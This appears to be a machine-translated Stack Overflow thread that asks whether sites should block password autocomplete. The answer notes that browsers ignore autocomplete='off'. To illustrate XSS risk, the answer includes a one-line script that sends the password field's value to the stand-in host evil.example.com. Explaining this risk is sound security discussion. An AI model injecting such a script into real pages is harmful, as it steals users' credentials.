security - 我应该阻止密码自动完成吗?

标签 security autocomplete passwords standards

有很多replies here关于如何防止密码表单元素自动完成。我的问题是我们应该这样做吗?

根据UK government ;强制重置密码(客户经常要求我们这样做)会导致安全性净损失,因此我们强烈建议不要这么做。

根据Mozilla ;强制关闭密码自动完成会导致安全性净损失。英国 .gov 网站 doesn't mention这种特殊的做法。

我的问题:

  • 我是否应该尝试阻止密码自动完成,强制用户记住其密码,或者自动完成是否能带来净 yield ?

//请注明来源。

最佳答案

更新: My blog如果您想在浏览器中尝试一下,这里有一个概念证明。

允许密码自动完成的典型风险是网站上的任何 XSS 缺陷都将允许攻击者获取密码。这是因为浏览器会自动完成密码字段值,因此它将在 DOM 中可用。

<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>

但是,如果攻击者可以在 XSS 攻击中自行注入(inject)密码字段,那么无论您的真实密码字段上的自动完成设置如何,他们都可以注入(inject)启用自动完成功能的密码字段。但传统上,该属性会首先阻止保存密码,因此无法在任何攻击中自动完成。

根据您的Mozilla link ,浏览器现在忽略 autocomplete="off":

  • if a site sets autocomplete="off" for a form, and the form includes username and password input fields, then the browser will still offer to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits this page.
  • if a site sets autocomplete="off" for username and password input fields, then the browser will still offer to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits this page.

This is the behavior in Firefox (since version 38), Google Chrome (since 34), and Internet Explorer (since version 11).

因此,您的问题的答案是“没有任何区别”。此外,浏览器有时会在完成登录凭据之前进行提示,并且 Lastpass 等密码管理器可以设置为不自动完成字段,而无需用户选择首先使用哪个登录名。某些漏洞扫描器(以及依赖这些扫描器的渗透测试人员)可能会引发在密码字段上启用自动完成功能的低风险问题。如果是这样,您应该能够自信地将他们指向 Mozilla 链接的方向。 但是,需要注意的一件事是,如果您要获得 PCI 合规性,您可能仍需要对此进行补救。请参阅my blog post进行更深入的分析。

关于security - 我应该阻止密码自动完成吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39462123/

相关文章:

android - 自动完成 TextView 建议列表在键盘后面

jquery - 使用 jQuery 自动完成搜索多个单词

java - 如何在 Java 配置文件中存储敏感数据?

wcf - 什么是好的 WCF/Web 服务安全读物?

php - 用户数据库中的隐私和安全

security - 从命令行确定 TLS/SSL 证书是否为 'trusted'?

c# - 忽略 system.windows.forms.TextBox 自动完成中的重音符号

java - 如何对java密码程序进行多线程暴力破解

ASP.Net MVC 3 - 密码保护 View

security - 哈希和登录